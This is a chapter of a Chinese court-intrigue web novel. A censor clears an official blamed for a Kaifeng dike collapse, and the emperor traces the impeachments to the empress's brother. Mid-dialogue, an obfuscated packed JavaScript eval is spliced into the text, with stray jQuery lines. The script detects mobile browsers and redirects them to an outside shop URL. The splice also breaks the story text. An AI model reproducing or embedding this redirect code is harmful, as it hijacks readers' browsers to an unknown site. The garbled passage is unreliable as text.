70. 第 70 章

作品:《唯有香如故(双重生)

    一转眼至八月中秋,离都察院领着人离京往西南一带调查李康所督河工已有月余。这个普天同庆的佳节,明昭帝原定于这天举办一场羯鼓盛乐,可因开封百姓遭受重灾,故下诏,以“开封数县黎庶罹难,哀思未弭”为由,罢止庆典,宫中仅行简单祭月之仪,以示与民共忧。


    一纸诏书如同秋日里一阵萧瑟的风,吹散了节庆的浮华,连市井也减了往年的喧腾喜气。也让朝野上下清晰地感知到,开封溃堤一案,仍是悬在君王心头、压在朝堂之上的千钧巨石。无数双眼睛,或明或暗,都望向了南下的官道,等待着冯恩一行的回音。


    九月初,冯恩终于风尘仆仆地回京复命了,一行人带回数箱封存严密的卷宗、账册等证物。


    乾清宫西暖阁内,明昭帝端坐于御案之后,下首除了冯恩,随行一起南下的刑部两位郎中及工部两位员外郎亦垂手肃立于身后。


    冯恩躬身立于前首,禀道:


    “臣奉旨彻查西南河工,为求真相无遗,不仅重勘了李康去岁重点长期督办的开封、郑州等险工河段,亦循其去年督查行迹与文书所涉,扩展核查了其所辖巡察范围内的其余五府二十一县相关河防工程,合计覆盖七府二十三县。今核查已毕,特向陛下复命。”


    “讲。”明昭帝只吐一字。


    冯恩便道:


    “臣等详查账目、核验物料、访询工匠役夫、比对工期文书,所得情形,与弹劾奏章所言,颇有出入。”


    冯恩打开手中早已备好的详细节略,开始逐一陈奏。


    首先呈上的为最关键的物证对比:


    “开封府段所用‘条石’,账册记为上等青岗岩,采买价亦符市价。然臣等亲至溃堤处勘察残留石料,并比对郑州段完好堤坝用石,发现开封石料多掺杂风化石、沙岩,硬度、耐水性远不及郑州所用之石。且灰浆配比,开封段亦偷工减料,黏性不足。此乃堤防速溃之直接根由。”


    接着,冯恩提到了人事:


    “李康督查期间,勤勉异常。臣等访得当地随行书吏及大量工匠役夫,众口一词,皆言李康‘必每日亲临工所’、‘验石料必以锤击听音,观灰浆必以指捻试黏’、‘遇夯土不实,立命返工,虽与县丞争执亦不退让’。郑州段县丞更有言称李康在郑州督修两月余,他所呈工料册,被其驳回重制不下五次,查验之细,近乎苛责。”


    冯恩顿了顿,声音愈发沉重:


    “至于开封段……臣等暗访当地知情胥吏及部分工匠,得知府衙呈予李康的‘上等石料’样品属实,然大批石料入库时,已被调换。灰浆亦是在李康抽查间隙,由工头暗中兑水减料。李康虽时有巡视,然物料堆场广大,守夜之人早被买通,所见‘无异状’皆系伪装。其每日所阅之‘详册’,更是经过府县层层润饰的假账。开封府同知赵志敬等人,欺上瞒下,织就一张密不透风的骗局。”


    他最后提到了民间口碑:


    “臣等沿途暗访民情,于李康曾督办之其他河段,百姓多感念其劳。有河工言李康其人没甚架子,常与他们一起同吃同住。说李康有一次为观测、记录洪峰过境时最真实的水流切滩力度与堤基震动情况,亲自带着人守在最险要的河口三天三夜,水退后,他被搀下来时,人都熬脱了形。此类言辞,所在多有,无不是对李康的尽职尽责赞誉有加。”


    冯恩陈述完毕,将厚厚一叠证词节略、物料比对图谱及关键证人画押供状恭敬呈上,“此皆臣等逐一核实之记录,人证、物证、书证俱在,请陛下御览。”


    阁内一片寂静,明昭帝的目光缓缓扫过那叠沉重的卷宗,良久,方开口,声音听不出情绪:


    “也就是说,李康失察有之,但‘玩忽职守、敷衍了事’以致故意酿祸,却非实情?真正的祸根,在于地方贪蠹上下其手,欺瞒钦差,蛀空国帑,终致巨堤溃于蚁穴?”


    冯恩再次躬身,“陛下明鉴。据臣查证,李康恪尽督查之职,然其所察,皆在对方精心构筑之假象范畴内。其过,在于未能洞穿这层层伪装,确属失察。然究其本心与行事,绝非懈怠渎职。而开封堤溃之主因,实在于地方官员贪墨工款、以次充好、偷工减料,乃至不惜以万千生灵为代价,掩盖其罪行。”


    冯恩说完,明昭帝久久沉默着,只以指尖有规律地轻叩着御案,叩得冯恩等人的心里也一突一突的,摸不准皇帝此时此刻所想。


    少顷,明昭帝终于抬眼,目光锐利地投向恭敬站立的几人,“赵志敬等人皆系经年河务之员,并非不谙水患利害。黄河溃堤之祸,史册斑斑,他们当比常人更知其中轻重。既知事关万千生灵、城池田亩,何以仍敢在堤防根本处动手脚?朕实难索解。是他们当真以为,滔天之祸能永不及身,还是觉得……这煌煌天理、昭昭国法,竟真压不住人心里的那点侥幸?”


    冯恩稍顿了顿,头更低了些,“回陛下,臣与随行刑部、工部同仁反复推究,臣等以为其胆敢如此,缘由有三。其一,在于‘黄河天险,未必在我任内决口’的侥幸之心。黄河水患,虽史不绝书,但大决之期并无定数。开封段堤防虽年久失修,然去岁之前,已多年未经特大洪水考验。赵志敬之流,便生出赌徒般的侥幸——赌今年、乃至明年,洪水不至其最险处;赌小修小补,或可敷衍过去。他们将国帑视为私产,克扣下的物料银两是眼前确切的利益,而洪水滔天,在他们看来,却只是一个‘可能’发生的、未来的风险。以确定的巨利,博一个不确定的灾祸,其心已堕。


    其二,在于‘上下勾连’的倚仗与‘欺上瞒下,技术可欺’的狂妄。此非一两人所能为之。从府县官员到胥吏工头,乃至部分监理、物料商人,已结成利益之网。他们自以为行事周密,账目做得漂亮,样品准备精良,更利用李康督查时间有限、不可能寸寸检视的弱点,精心布置骗局。他们钻研的不是河防技术如何更固,而是‘钦差查验的流程与习惯’,以此设计应对之策。其心可诛之处在于,他们并非不懂,而是太懂——懂如何利用制度的缝隙,懂如何制造合格的‘表面文章’。他们将聪明才智,尽数用在了如何安全地蛀空堤坝上。”


    说到这里,冯恩略微停顿,抬眼迎向皇帝的目光,说出了最沉重、也最可能触及根源的一点:


    “其三,臣等揣测,或也与多年来‘重堵轻疏、疲于应付’的河工积弊,以及‘河工银钱,向来是块肥肉’的沉疴旧疾有关。款项拨付,层层经手;工程浩大,监督不易。久而久之,一些人心目中,河工首要之事,或许不再是‘根治水患,保安黎庶’,而是成了‘分润款项,打点关系’的由头。堤防在他们眼中,或许更像是一个可以不断申请款项、从中牟利的‘工程’,而非承载生灵性命的屏障。这种积弊下的麻木与贪婪,蒙蔽了其对天灾的敬畏,也泯灭了其为官的最后一点良知。”


    冯恩最终沉重地总结道:


    “故此,非是他们不知后果,而是在滔天利益与层层‘保护’之下,他们选择性无视了后果,甚至自我说服,认为凭借小聪明与关系网,可以永远掩盖下去,或者即便出事,也能找到替罪之羊,自身则可安然脱身。直至……今夏天威震怒,雨泼中原,将他们所有的侥幸与狂妄,连同那座偷工减料的堤坝,一同冲垮。”


    明昭帝听完,又是良久无言。之后目光再次落向那叠证词,忽然问道:


    “李康在狱中所写之事,你们可曾比对?”


    冯恩立刻答道:


    “回陛下,臣等仔细核验过。李康所书《督查事略及疑点辑录》,与此番臣等查证之大节无不吻合,且因其身处局中,所记更为纤悉。”


    他接过工部员外郎手中的一份装订整齐、但纸张质地明显不同的册子呈至御案前,接着说道:


    “其中详载其督查期间每日行程、所见所验,尤以开封、郑州两地为最细。其中他标注了两处当时觉得‘似有不谐’却无实据的细节。其一,开封府上报的几批关键石料‘入库查验单’与‘现场使用记录’,在日期上严丝合缝,甚至衔接得过于‘完美’,连因天气、转运可能造成的寻常延误都未见。他当时只觉效率颇高,如今想来,若非事先整套编妥,实难如此‘整齐’。


    其二,他曾注意到,不同批次、应由不同矿源提供的‘上等青岗岩’样本,其石纹脉络与密度手感,相似得令他有一瞬迟疑,但府衙提供的《各地矿样勘验文书》齐全,他亦自疑是否多心。


    还有便是,李康所记去年十月,曾有一批标注为‘河南布政使司特调’的加固用熟铁锭运抵开封,手续齐全,但他验看时觉得成色有异,欲追查来源,却被开封府通判以‘此乃上官统筹,勿要多问’为由劝止,态度虽恭,却隐带强硬。其二,他提及去年腊月,工部都水清吏司一名姓崔的员外郎‘例行巡查’至开封,赵志敬等人接待之规格远超常例,且该员外郎私下查看工料库存时,与赵志敬交谈甚久,其后,赵对李康的催问便敷衍了许多。”


    冯恩稍抬起头,继续道:


    “臣等顺此线索暗查,发现那批铁锭实乃劣品,出货的皇商‘丰裕号’,其背后东家与工部郑胥郑侍郎的妻族有旧。而那位崔员外郎,正是郑侍郎在都水清吏司的心腹。更有甚者,臣等暗访时,曾风闻赵志敬酒醉后有过狂言,称其在京中的靠山乃是“通着天”的人物,莫说寻常御史,便是……便是阁老,见了他家也得思量思量’。”


    说到最后,冯恩都暗里捏了把汗,他屏息垂目,不敢直视御座,只眼角余光瞥见天子搭在紫檀案沿的手似一下收紧成拳。


    暖阁内一时静极,冯恩背上已渗出薄汗,却听御案后传来一声极低的、近乎气音的冷笑:


    “‘通着天’……‘阁老也得思量’……”


    语气里尽是冰冷的讥诮。


    片刻,明昭帝伸手翻开李康所书的册子,看向那些李康标注出来的疑点,之后目光转向御案上成堆的折子,“弹劾李康的奏章,堆积如山。”声音平静无波,仿佛在对着那些奏章自语,“起初,朕以为那是朝野激愤,是清流激浊,是百官忧国。可如今看来……”


    他缓缓抬起眼,视线如同实质般掠过冯恩等人,最终落向虚空,仿佛穿透了宫墙,看到了那些在各自衙署中奋笔疾书、义愤填膺的身影。


    “冯恩,朕问你,你南下调查的旨意下达,到你率队离京,用了多久?”


    冯恩不假思索地答道:


    “回陛下,自陛下口谕第二日,臣便率队出京。”


    听他说完,明昭帝嘴角浮上一丝冰冷的弧度,“你离京仅两日,赵志敬等人便在狱中‘畏罪自尽’,时间拿捏得如此之准,仿佛是算准了你们脚程已远,京城视线稍移,便立刻掐断了源头。”


    他顿了顿,语气越发森然,“再往前看,河堤溃决,灾情初报抵京,弹劾李康与赵志敬的奏章便如雨后春笋,其内容之雷同,措辞之激烈,定罪之急切……仿佛生怕朕稍作犹豫,便不能立刻将他们枭首示众,以平“民愤”。当时朕悲愤于灾情,痛心于李康的失职,虽觉有些奏章未免过于急切,却也未作深想。如今,真相渐明,再回头看这些“慷慨陈词”……”


    他抬手从御案左侧的一堆折子里随意抽出一本,扫了一眼,“工科给事中刘徽,弹劾李康‘督查期间流连宴饮,疏于职守’。”


    他冷笑一声,“你们查访所见,李康可曾‘流连宴饮’?”


    “绝无此事!”冯恩断然道,“臣等所访之人,无论亲疏,皆言李康饮食简朴,常与工匠同食,更无暇参与地方宴请。”


    明昭帝又拿起一份,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881889|187110||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都察院河南道监察御史王涣,参赵志敬‘跋扈专权,排斥异己,然河工巨细,皆赖其力,或有苦劳,然李康身为钦差,形同虚设,罪加一等’。”


    皇帝锐利目光中突然参杂了一丝玩味,“这倒有趣了。既说赵志敬跋扈专权,又说李康形同虚设。如今看来,赵志敬确然专权。专的是偷梁换柱、欺上瞒下之权!而这份奏章,看似各打五十大板,实则将主要罪责牢牢钉死在‘形同虚设’的李康身上,对赵志敬,却留有‘或有苦劳’的余地。这是在为谁开脱?又是在引导朕的目光看向何处?”


    冯恩等人屏息凝神,不敢妄自断言。


    “还有这份,”明昭帝的声音已然冷得如同数九寒冰,“光禄寺少卿赵文瀚——巧了,也姓赵,他倒未直接弹劾,而是上疏痛陈河工积弊,言‘历年修缮,徒耗国帑,皆因上下蒙蔽,督察不力。今次巨祸,正宜彻底整顿,非严惩一二罪魁,无以儆效尤,安民心’。言之凿凿,忧国忧民。”


    他抬眼,眼中寒光四射,“赵文瀚一个管宫廷膳食祭祀的光禄寺官,为何在河工案发后第五日,便递上如此切中‘要害’的奏疏?他所言的‘上下蒙蔽’,‘督察不力’,精准地将矛头引向了李康这个‘上’派之‘督察’与地方‘下’官勾结的可能。而‘严惩一二罪魁’,更是急着要为这场惨剧划上句号,最好就止于李康与赵志敬这几颗人头!”


    明昭帝的目光在那些被特意分类拣出的弹劾奏章上缓缓移动,指尖掠过一个个熟悉或不太熟悉的名字。


    工科给事中刘徽、河南道御史王涣、光禄寺少卿赵文瀚……起初看似各自发声,如今并置一处,其奏章上呈的时间脉络、遣词造句的微妙倾向,乃至某些隐含的逻辑,竟隐隐形成了一张呼之欲出的网。


    目光在弹劾奏章与李康所书的册子上来回扫视,指尖最终停在刘徽那份关于“流连宴饮”的参劾上。


    “刘徽,隆庆二年进士。”他声音平淡,听不出情绪,“那年主考,是已故礼部尚书高文渊公。若朕没记错,高公与当今国丈的关系是?”


    冯恩对此类盘根错节的关联早已梳理清楚,躬身答道:


    “回陛下,高文渊公乃国丈大人的族叔。当年高公主持春闱,国丈大人尚在户部观政,亦曾协助筹备,与不少新科进士有旧。”


    “族叔……有旧。”明昭帝将这词轻轻重复了一遍,思绪移向王涣、赵文瀚等人的覆历,“也就是说,这些上奏弹劾之人,追溯其科场渊源或早年仕途,或多或少,都曾受过国丈一系的提携或照拂?”


    “陛下明鉴。”冯恩证实道,“不止科场。如王涣早年能调任都察院河南道,据臣所查,是走了时任都察院某位副宪的门路,而那位副宪的夫人,与国丈夫人是手帕交。赵文瀚能从闲曹调至光禄寺,其同年正好在吏部考功司,而那位同年的座师,曾受国丈举荐之恩。”


    “国丈近年来深居简出,潜心修书,倒是很少过问具体事务了。”明昭帝像是自言自语,话锋却陡然一转,“倒是他那长子,如今在鸿胪寺任职的高毅,颇为活跃。”


    这时侍立一旁的内官适时低声补充:


    “陛下,国舅爷确乎交游广阔,去岁至今,在府中或城外别业举办的文会、雅集不下十数次,与会者……不乏台谏、部院官员。”


    “文会?雅集?”皇帝嘴角浮现一丝极淡的讥嘲,“想来席间免不了议论时政,忧心河工吧?!”他看向冯恩,“据你所查,从河堤溃决消息传开,到第一波弹劾奏章呈递,期间国舅高毅,有何动向?”


    冯恩心领神会,当即道:


    “回陛下,臣等循迹暗访,发现那几日,国舅爷确曾密集遣府中清客或亲信家人,拜会过数位官员,包括刘徽、王涣等人。名义多是‘问候’、‘请教’,并无实据。但时间点之契合,难以用巧合解释。且据闻,国舅爷在私下场合,对李康‘少年得志、不堪重任’、‘督查不力、酿此大祸’颇多怨言,其措辞……与后来某些奏章,颇为神似。”


    “怨言……”明昭帝闭上眼,几乎能想象出他那位眼高手低、又急于在人前证明自己、在朝中扩大影响的妻兄,是如何在酒酣耳热之际,或密谈之中,或明或暗地表达对李康的不满,以及“必须严惩以安天下”的“高见”。那些依附高家、或欲攀附高家的官员,自然心领神会,将其变为一道道冠冕堂皇的奏章。


    “自身不修,却好揽权;见识浅薄,偏喜弄势。”皇帝睁开眼,语带寒意,“利用的无非是其父的余荫,皇后兄长的身份。以为如此,便能颠倒黑白,操控朝议,甚至……”他看向那叠关于工部郑胥与皇商‘丰裕号’的调查,“将手伸进国之命脉,分一杯染血的羹!”


    皇帝的分析,已然将整个链条拼凑完整:


    工部郑胥等人提供技术庇护和内部通道;地方赵志敬等人则具体执行贪腐;事发后国舅高毅利用身份和关系网,发动舆论,制造压力,将所有罪责指向李康、赵志敬等人,企图快速定性结案,掩盖可能牵连自身的贪墨。


    “冯恩,”明昭帝的声音恢复了以往的冷静与决断,“给朕盯紧高毅,以及与他往来密切的所有人。查清他与郑胥、与‘丰裕号’之间,有无直接或间接的钱银往来、利益承诺。那些弹劾奏章,朕要知道每一份背后,具体是谁在串联、谁在授意、谁在迎合!”


    “臣遵旨!”


    冯恩深知,此案已从查办贪污,演变为一场牵动后族、考验君权的政治风暴。对手的权势根植于皇室姻亲,每一步都需雷霆手段,亦需如履薄冰。


    暖阁内重归寂静。明昭帝独自坐着。


    “高毅……”他低声念着他那位妻兄的名字,“朕倒要看看,‘皇后兄长’这个身份以及‘其父余荫’,到时能不能护得住你。”